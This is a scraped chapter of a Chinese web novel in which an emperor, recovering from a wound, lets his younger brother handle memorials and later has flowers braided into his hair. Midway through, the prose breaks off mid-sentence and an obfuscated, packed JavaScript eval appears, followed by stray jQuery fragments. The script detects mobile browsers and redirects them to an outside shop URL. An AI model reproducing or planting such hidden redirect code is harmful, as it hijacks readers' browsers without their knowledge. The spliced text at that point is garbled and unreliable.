默认冷灰
24号文字
方正启体

13. 花辫子

作者:辜情负本书字数:K更新时间:
    近来的朝臣皆是对早朝从不缺勤的帝王突然罢朝数日的原因好奇无比。


    差关系旁敲侧击地问后,据说是小殿下起了兴致要当“皇帝”数日。


    大家伙都是大惊,纷纷呈上奏折问圣上安好,委婉表示如此纵容幼弟是否太过?


    而圣上打回的折子清一色只有一个阅字,朝臣辨不清是个什么意思,没几日后京郊皇庄那突传数个内监被秘密下狱的消息,再不敢上折子催促,只惴惴不安地缩在家中唯恐波及。


    ……


    奏折是君无厌批的,而他本人对于没被人认出字迹很是骄傲,哪怕看出来了君无厌也觉得不会有人敢问。


    至于为什么是他……


    他回头看向坐在窗边难得有闲暇品茗下棋的人,这一切还不赖他皇兄。


    数日前对于他那句话,君无玦不置可否,只是招来有莘又给他炖了一大碗乌黑酸苦的药逼他喝下。


    那苦涩的滋味实在美妙,只稍起个念头就要喝一次,所以到最后他再不过问。


    而让君无厌肯留在紫宸殿住下来的原因依旧是君无玦。


    ——这人嘴里就从没一句真话的!要不是被他摁到臂上的伤处,根本不知道那时落水后救他的人是君无玦,而那伤便是带着他从解体的船身中穿行时不小心伤到的。


    回来后伤口不处理,又泡一宿冷水高强度工作一天,伤口早已感染发脓,而本人依旧没有吭声。


    是以,最后连君无玦这样的人都起了热,虽没他的严重,可君无厌怎么都不肯再让他工作了,国也不可无君,最后只得由君无厌来代劳。


    君无厌让允恩搬了张小榻放在罗汉床边,如此他不必跑去前殿批奏折,还方便君无玦随时随地指导他。


    君无玦抬手品茗间露出的小臂上就缠着他亲手换的药。


    绷带绑的歪七扭八,君无玦倒也没嫌弃。


    当时相文斌剪开衣物时,他看见血肉和衣物黏连在一起的样子,心当真揪在一起疼,可胸腔里盛的却是怒气。


    这让他不知是该哭还是该怒,到了最后只是心疼地小心翼翼亲自为他上药,嘴里还不忘念叨几句。


    见他发呆了许久,君无玦放下手中的东西看过来。


    发呆的焦点一动,君无厌视线也跟着动,待反应过来时才发现自己已经对着拿棋谱的手看了不知道多久。


    君无玦眉梢一挑,满是询问的意思。


    君无厌只得佯装想不明白将手里奏折递过去问。


    不想君无玦只是扫了两眼反而促狭地又看过来,君无厌眨了眨眼好半晌才反应过来自己递的是什么东西。


    一想到那奏折上满是吹嘘多少年前君无玦南下巡视被官员一见惊为天人的车轱辘话,他就忍不住脸上一红。


    “阿兄还我,不是这本!”


    他攀在君无玦的膝上伸手去够,不想他阿兄坏心眼地抬高受伤的手不让他去够。


    就仗着他不敢真动手!


    他气恼地看着君无玦,满脸不忿。


    “似天边乍现月昙仙?”君无玦念着。


    君无厌再也忍不住,一下扑进君无玦怀里,捂住已经烧得通红的脸。


    君无玦不再逗他,将折子递回去问:“看出了什么。”


    君无厌忙将册子夺回来压到堆积如山的奏折最底下,闻言重新抬头奇怪地说:“不就一些奉承的话吗?”


    他皱眉反复想了每一句都没发觉有什么不一样的地方,就问:“这封奏折有什么不对吗?”


    君无玦没开口,只是示意他坐到棋盘对面,君无厌顺着君无玦的手去看棋盘。


    可依旧什么都没发现。


    “……”见君无厌实在不懂,君无玦很是淡然,“罢了,时候未到。”


    听到这话君无厌却不乐意了,抓起面前的黑子就下在棋盘空处:“阿兄既然说了又不同我讲明,究竟是个什么意思?”


    “我是不懂,可我也不是傻子呀!”


    “真想知道?”


    君无厌立刻点头。


    “此人参与了数日前死士一事。”


    君无厌一愣:“这与那封江南送来的折子有什么关系吗?按阿兄让青阳抓的人,那都是皇庄里世家姻亲,同江南有何关系?”


    “奏折盖的官府压印是哪的。”


    君无厌终于反应过来:“是宫里的。”


    可这也很奇怪,如果说这是皇庄里的中官太监呈上来的问安折子,那为什么要说当年江南的事?


    君无玦又点他:“这些折子平日你会看吗?”


    “……”君无厌这下是真的明晰过来了,他腾一下站起身来,想起折子中那句问安的话,这还有什么不明白?


    好啊,仗着他阿兄休息,欺负他素日闲散,这敲门问情况的砖都摆到面前来了。


    “阿兄是特地拿来考我的吗?”


    君无玦观而不语,可君无厌还有什么不明白,他转身朝外而去。


    这种事情,应该是如今的“皇帝”处理。


    ***


    修养的这段时日君无玦不被允许批奏折,可朝政也不可能长时间停摆,所以君无厌也只能跟着去上朝听一群老东西互相吐沫水。


    回去后不仅要批奏折还有时不时谨防君无玦突如其来的提问。


    三四月花期正是最盛的时候,朝堂新血液的注入终于令积压半年的政务缓和过来。


    兄弟二人和好以来,君无玦也开始试着放手让自己的弟弟触碰政务,只可惜君无厌似乎不觉得这是什么趣事。


    ——前头君无玦走着,慢慢地和君无厌说着话,后头跟着的君无厌却早已被周围宫人们摆弄的花景吸引去了目光。


    “再过半月便是太祭,依祖制你需……”


    君无玦在前头难得絮絮叨叨,君无厌的目光被一朵盛放的娇嫩花朵吸引。


    他躬身探手就去抚那朵姹紫的重瓣花,花朵上坠着剔透的水珠,应是早晨宫人浇灌时留下的。


    花瓣上的水珠随着他的轻抚微微颤动,圆润饱满的水珠滚落下去。


    久久不见回应的君无玦疑惑地反身寻人,语气依旧是那副温吞闲适:“阿厌,嗯?”


    君无厌却听得手莫名一抖,手中的紫色重瓣花便被他折了下来,他背手起身,讨好似的对着自己哥哥笑,企图掩盖过去。


    艳阳的明媚从皇兄背后透过来,给君无玦蒙上了一层朦胧纱,莫名的,让他想到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189544|197055||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手中的那朵姹紫。


    君无厌其实是看不清的,君无玦站的地方是背光处,什么神情都瞧不见。


    他心间一动,笑着靠近,也温吞地唤了声:“阿兄。”


    又变魔法似的把那朵紫色重瓣花鬓在君无玦的耳后,笑道:“花中牡丹,艳压群芳,堪配为王。你说是吧阿兄?”


    姹紫和绛紫两相比较,所有的无边绝色皆被压下,明明是大家都说很有韵味的色彩,可衬在这人身上却只添艳色。


    这画面越瞧君无厌越想笑,卓然出尘的天下之主,绛紫同样满显尊贵威严,此刻却让凡尘花拉回人间,不再是超然于世的仙人,而只是一个因亲弟胡闹却只能无奈纵容的兄长。


    君无玦神情不变但就是透出点笑意。


    疏离淡漠的眼睛此刻冰消雪融,晕开团团涟漪,揉碎的碎光只有他一人看见。


    见此君无厌也跟着笑,后又觉不够,伸手去牵君无玦,拉着他一路小跑进花亭之中。


    君无玦还没发问就被他狡黠明媚的眉眼堵回去,不许他问。


    见君无玦妥协了,君无厌自个转身朝着花海而去。翩跹的银发簪着最爱的梧桐挽在脑后,跟随着风中的衣袂一同晃动,穿梭在花海之中这摘摘那摘摘。


    宫人奉上的茶点都快凉了,他才姗姗归来。


    红衣白发,春桃的眸子兴致盎然,抱着大捧的各色牡丹朝华亭奔来,到近前了还能看见发尾胡闹地勾着散掉的花瓣绿叶,君无玦瞧着君无厌跑得快伸手接了他一把。


    一旁的允恩看得那也是心惊肉跳,忍不住道:“哎哟,我的殿下,悠着点吧。”


    君无厌护着怀里的花满是炫耀:“皇兄会接着我的。”又抬头扑扇着水润的双眸对着君无玦眨巴眨巴,“是吧阿兄!”


    君无玦给了君无厌脑门一记却也没反驳,君无厌兴到头上什么规矩全忘了,推开桌面的茶点就放上鲜花,又转头抓着君无玦坐到椅上让他背对自己。


    没等君无玦反应过来立刻拔下簪子拆掉对方的发冠,发丝垂下与君无厌的发丝若有若无地缠着。


    君无玦微微侧头去看君无厌,清楚地表达疑惑。


    君无厌却不说话,又朝他笑了一下就将亲哥脑袋掰回去,手中动作起来。


    其实君无厌并不会编发,养尊处优大的皇幼子哪用得着考虑衣食的事情,但本着没吃过猪肉也见过猪跑,他不觉得编辫子有多难。


    修长洁白的手编发本是赏心悦目的画面,可无奈于君无厌动作实在生疏笨拙,时不时就会不慎扯到手中头发,怕君无玦疼,他下手的动作愈发轻。


    而事实证明编发是真的难,看着眼前那插满各色牡丹、不时便有一缕发丝散开的大辫子,君无厌对上君无玦那淡然的眉目,讪笑起来。


    “......很好看。”


    君无玦挑眉。


    周围宫人们都低着头,颤抖的双肩分明是在憋笑,迎着君无玦眼底的笑意,君无厌热意涌上耳尖,忍不住伸手去捂住君无玦的眼睛。


    君无玦还在笑,那眼皮在他手心下一颤一颤的。


    久久的,君无厌憋出一句:“就是好看!”


    再怎么丑也有他阿兄颜值撑着!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)